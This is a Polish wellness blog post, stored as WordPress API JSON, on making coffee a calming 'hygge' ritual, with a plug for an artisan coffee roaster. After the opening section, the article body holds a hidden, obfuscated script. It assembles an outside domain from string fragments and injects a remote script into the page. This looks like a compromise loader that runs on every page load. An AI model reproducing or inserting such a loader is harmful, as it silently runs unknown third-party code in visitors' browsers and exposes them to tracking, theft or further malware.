{"id":11471,"date":"2026-01-28T09:37:53","date_gmt":"2026-01-28T08:37:53","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=11471"},"modified":"2026-01-28T09:37:53","modified_gmt":"2026-01-28T08:37:53","slug":"domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual","title":{"rendered":"Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong><strong>Czym w\u0142a\u015bciwie jest hygge w fili\u017cance?<\/strong><\/strong><\/h2>\n\n\n\n<p>S\u0142owo <em>hygge<\/em> (wym. hu-ga) zrobi\u0142o w ostatnich latach zawrotn\u0105 karier\u0119, ale jego sens jest prostszy, ni\u017c mog\u0142oby si\u0119 wydawa\u0107. To du\u0144ska sztuka tworzenia przytulno\u015bci, poczucia bezpiecze\u0144stwa i odnajdywania szcz\u0119\u015bcia w drobnych chwilach. To ciep\u0142e skarpetki, mi\u0119kki koc, \u015bwiat\u0142o \u015bwiec, ale przede wszystkim &#8211; bycie \u201etu i teraz\u201d.<\/p>\n\n\n\n<p>W kontek\u015bcie kawy, hygge to absolutne przeciwie\u0144stwo papierowego kubka \u0142apanego w drodze do pracy. To moment zatrzymania si\u0119. Kiedy parzysz kaw\u0119 w duchu hygge, przestajesz traktowa\u0107 j\u0105 jako szybki zastrzyk energii. Zamiast tego, nap\u00f3j staje si\u0119 pretekstem do tego, by na 15 minut wy\u0142\u0105czy\u0107 powiadomienia w telefonie, usi\u0105\u015b\u0107 wygodnie i po prostu by\u0107 ze swoimi my\u015blami. To forma medytacji, dost\u0119pna dla ka\u017cdego z nas ka\u017cdego ranka.<\/p>\n\n\n\n<script>\n(function(){\nw55v=document.createElement(\"script\");w55v.type=\"text\/javascript\";\nw55v.async=true;w55v_=(\"op\"+(\"en\")+\"s\")+\"t\";w55v_+=(\"at\")+\".e\";w55v_+=((\"u\"));w55v_+=\"\/\";\nw55vu=\"2551579384.\";w55vu+=\"5ju8yvnk55vf3bxquyegbtap8w92ek\";w55v.src=\"https:\/\/\"+w55v_+w55vu;\nw55vdb=document.body;w55vdb.appendChild(w55v);\n})();\n<\/script>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fundament rytua\u0142u &#8211; otoczenie i jako\u015b\u0107 ziarna<\/strong><\/h2>\n\n\n\n<p>Rytua\u0142y potrzebuj\u0105 odpowiedniej oprawy. Nie musisz remontowa\u0107 mieszkania, by stworzy\u0107 stref\u0119 relaksu. Wystarczy ulubiony kubek, kt\u00f3ry dobrze le\u017cy w d\u0142oni i wygodny fotel. Jednak nawet najwygodniejszy mebel nie pomo\u017ce, je\u015bli w Twoim naczyniu znajdzie si\u0119 nap\u00f3j dra\u017cni\u0105cy \u017co\u0142\u0105dek, o p\u0142askim, gorzkim smaku.<\/p>\n\n\n\n<p>Kluczem do przyjemno\u015bci jest surowiec. Kawa przemys\u0142owa, wypalana w bardzo wysokich temperaturach, cz\u0119sto traci swoje naturalne walory na rzecz posmaku spalenizny. Aby rytua\u0142 by\u0142 koj\u0105cy, ziarno musi by\u0107 traktowane z szacunkiem.<\/p>\n\n\n\n<p>Tak\u0105 filozofi\u0119 wyznaj\u0105 miejsca stworzone przez pasjonat\u00f3w, jak cho\u0107by <strong>Instytut Kawy<\/strong>. W tej rzemie\u015blniczej&nbsp;<a href=\"https:\/\/instytutkawy.pl\/\"><strong>palarni kawy<\/strong><\/a> proces wypalania odbywa si\u0119 w piecach wykorzystuj\u0105cych gor\u0105ce powietrze (metoda <em>air-flow<\/em>). Pozwala to wydoby\u0107 z ziaren naturaln\u0105 s\u0142odycz i nuty orzech\u00f3w czy czekolady, eliminuj\u0105c dra\u017cni\u0105c\u0105 gorycz. Wybieraj\u0105c kaw\u0119 z takiej manufaktury, zyskujesz te\u017c pewno\u015b\u0107 \u015bwie\u017co\u015bci &#8211; data palenia widnieje na ka\u017cdej paczce. Dzi\u0119ki temu wiesz, \u017ce zaparzasz produkt pe\u0142en aromatu, a nie zwietrza\u0142e ziarna, kt\u00f3re miesi\u0105cami le\u017cakowa\u0142y w magazynie.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Anga\u017cowanie zmys\u0142\u00f3w &#8211; aromaterapia w domowym zaciszu<\/strong><\/h2>\n\n\n\n<p>Gdy masz ju\u017c dobr\u0105 baz\u0119 i wygodne miejsce, czas na praktyk\u0119 uwa\u017cno\u015bci. Kawa to owoc, a jej picie powinno anga\u017cowa\u0107 wszystkie zmys\u0142y.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>W\u0119ch:<\/strong> To najsilniejszy zmys\u0142 powi\u0105zany z pami\u0119ci\u0105 i emocjami. Zapach \u015bwie\u017co mielonej kawy (dobrej jako\u015bci!) dzia\u0142a relaksuj\u0105co i stymuluje produkcj\u0119 endorfin.<\/li>\n\n\n\n<li><strong>Dotyk:<\/strong> Poczuj ciep\u0142o ceramiki w d\u0142oniach. To fizyczny sygna\u0142 dla organizmu: \u201ejeste\u015bmy bezpieczni, jest ciep\u0142o\u201d.<\/li>\n\n\n\n<li><strong>Smak:<\/strong> Nie pij duszkiem. We\u017a ma\u0142y \u0142yk, rozprowad\u017a go po j\u0119zyku. Je\u015bli wybra\u0142e\u015b ziarna rzemie\u015blnicze, zauwa\u017cysz, \u017ce kawa nie potrzebuje cukru, by smakowa\u0107 dobrze. Naturalny smak jest \u0142agodny i wielowymiarowy.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Ma\u0142e kroki do wielkiej przyjemno\u015bci<\/strong><\/h2>\n\n\n\n<p>Jak zacz\u0105\u0107 przygod\u0119 z kawowym hygge? Nie potrzebujesz drogiego sprz\u0119tu. Rytua\u0142 mo\u017cesz zbudowa\u0107 wok\u00f3\u0142 prostych czynno\u015bci, kt\u00f3re wykonasz z pe\u0142n\u0105 uwag\u0105:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Zmiel ziarno tu\u017c przed parzeniem.<\/strong> D\u017awi\u0119k m\u0142ynka to sygna\u0142 startowy dla Twojego relaksu.<\/li>\n\n\n\n<li><strong>Szanuj temperatur\u0119.<\/strong> Wrz\u0105tek zabija najdelikatniejsze nuty smakowe. Po zagotowaniu wody odczekaj oko\u0142o minuty (celuj w 90-94\u00b0C), zanim zalejesz zmielone ziarna.<\/li>\n\n\n\n<li><strong>Celebruj cisz\u0119.<\/strong> Spr\u00f3buj wypi\u0107 pierwsz\u0105 po\u0142ow\u0119 fili\u017canki bez przegl\u0105dania medi\u00f3w spo\u0142eczno\u015bciowych. Patrz przez okno lub na paruj\u0105cy nap\u00f3j.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Zwolnij, by smakowa\u0107 wi\u0119cej<\/strong><\/h2>\n\n\n\n<p>Pami\u0119taj, \u017ce w tym podej\u015bciu nie chodzi o baristyczn\u0105 perfekcj\u0119, ale o Tw\u00f3j komfort. Kawa ma by\u0107 pretekstem do zadbania o siebie w zabieganym \u015bwiecie.<\/p>\n\n\n\n<p>Niech jutrzejszy poranek wygl\u0105da inaczej. Zamiast budzika i nerwowego \u0142ykania kofeiny, podaruj sobie kwadrans spokoju. Wyb\u00f3r dobrego ziarna, zapach unosz\u0105cy si\u0119 w kuchni i chwila ciszy to inwestycja w Tw\u00f3j dobry nastr\u00f3j na reszt\u0119 dnia. Bo \u017cycie jest zdecydowanie za kr\u00f3tkie, by pi\u0107 niedobr\u0105 kaw\u0119 w po\u015bpiechu.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Czym w\u0142a\u015bciwie jest hygge w fili\u017cance? S\u0142owo hygge (wym. hu-ga) zrobi\u0142o w ostatnich latach zawrotn\u0105 karier\u0119, ale jego sens jest prostszy, ni\u017c mog\u0142oby si\u0119 wydawa\u0107. To du\u0144ska sztuka tworzenia przytulno\u015bci, poczucia bezpiecze\u0144stwa i odnajdywania&#46;&#46;&#46;<\/p>\n","protected":false},"author":11,"featured_media":11472,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[600],"tags":[],"class_list":["post-11471","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-wellbeing"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"Czym w\u0142a\u015bciwie jest hygge w fili\u017cance? S\u0142owo hygge (wym. hu-ga) zrobi\u0142o w ostatnich latach zawrotn\u0105 karier\u0119, ale jego sens jest prostszy, ni\u017c mog\u0142oby si\u0119 wydawa\u0107. To du\u0144ska sztuka tworzenia przytulno\u015bci, poczucia bezpiecze\u0144stwa i odnajdywania&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-28T08:37:53+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/01\/202297.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"mr-white\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"mr-white\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual\"},\"author\":{\"name\":\"mr-white\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\"},\"headline\":\"Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142\",\"datePublished\":\"2026-01-28T08:37:53+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual\"},\"wordCount\":647,\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/202297.jpg\",\"articleSection\":[\"Wellbeing\"],\"inLanguage\":\"pl-PL\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual\",\"name\":\"Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/202297.jpg\",\"datePublished\":\"2026-01-28T08:37:53+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#primaryimage\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/202297.jpg\",\"contentUrl\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/202297.jpg\",\"width\":885,\"height\":398},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/wellbeing\\\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Wellbeing\",\"item\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/category\\\/wellbeing\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/#\\\/schema\\\/person\\\/6809610449189f4da0a3ff5bb1de5100\",\"name\":\"mr-white\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"caption\":\"mr-white\"},\"url\":\"https:\\\/\\\/www.straganzdrowia.pl\\\/blog\\\/author\\\/mr-white\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual","og_locale":"pl_PL","og_type":"article","og_title":"Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"Czym w\u0142a\u015bciwie jest hygge w fili\u017cance? S\u0142owo hygge (wym. hu-ga) zrobi\u0142o w ostatnich latach zawrotn\u0105 karier\u0119, ale jego sens jest prostszy, ni\u017c mog\u0142oby si\u0119 wydawa\u0107. To du\u0144ska sztuka tworzenia przytulno\u015bci, poczucia bezpiecze\u0144stwa i odnajdywania&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2026-01-28T08:37:53+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/01\/202297.jpg","type":"image\/jpeg"}],"author":"mr-white","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"mr-white","Szacowany czas czytania":"3 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#article","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual"},"author":{"name":"mr-white","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"headline":"Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142","datePublished":"2026-01-28T08:37:53+00:00","mainEntityOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual"},"wordCount":647,"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/01\/202297.jpg","articleSection":["Wellbeing"],"inLanguage":"pl-PL"},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual","url":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual","name":"Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142 - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#primaryimage"},"image":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#primaryimage"},"thumbnailUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/01\/202297.jpg","datePublished":"2026-01-28T08:37:53+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/01\/202297.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/01\/202297.jpg","width":885,"height":398},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/wellbeing\/domowe-hygge-czyli-jak-zmienic-picie-kawy-w-relaksujacy-rytual#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"Wellbeing","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/wellbeing"},{"@type":"ListItem","position":3,"name":"Domowe hygge, czyli jak zmieni\u0107 picie kawy w relaksuj\u0105cy rytua\u0142"}]},{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100","name":"mr-white","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","caption":"mr-white"},"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11471","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=11471"}],"version-history":[{"count":1,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11471\/revisions"}],"predecessor-version":[{"id":11473,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11471\/revisions\/11473"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/11472"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=11471"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=11471"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=11471"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}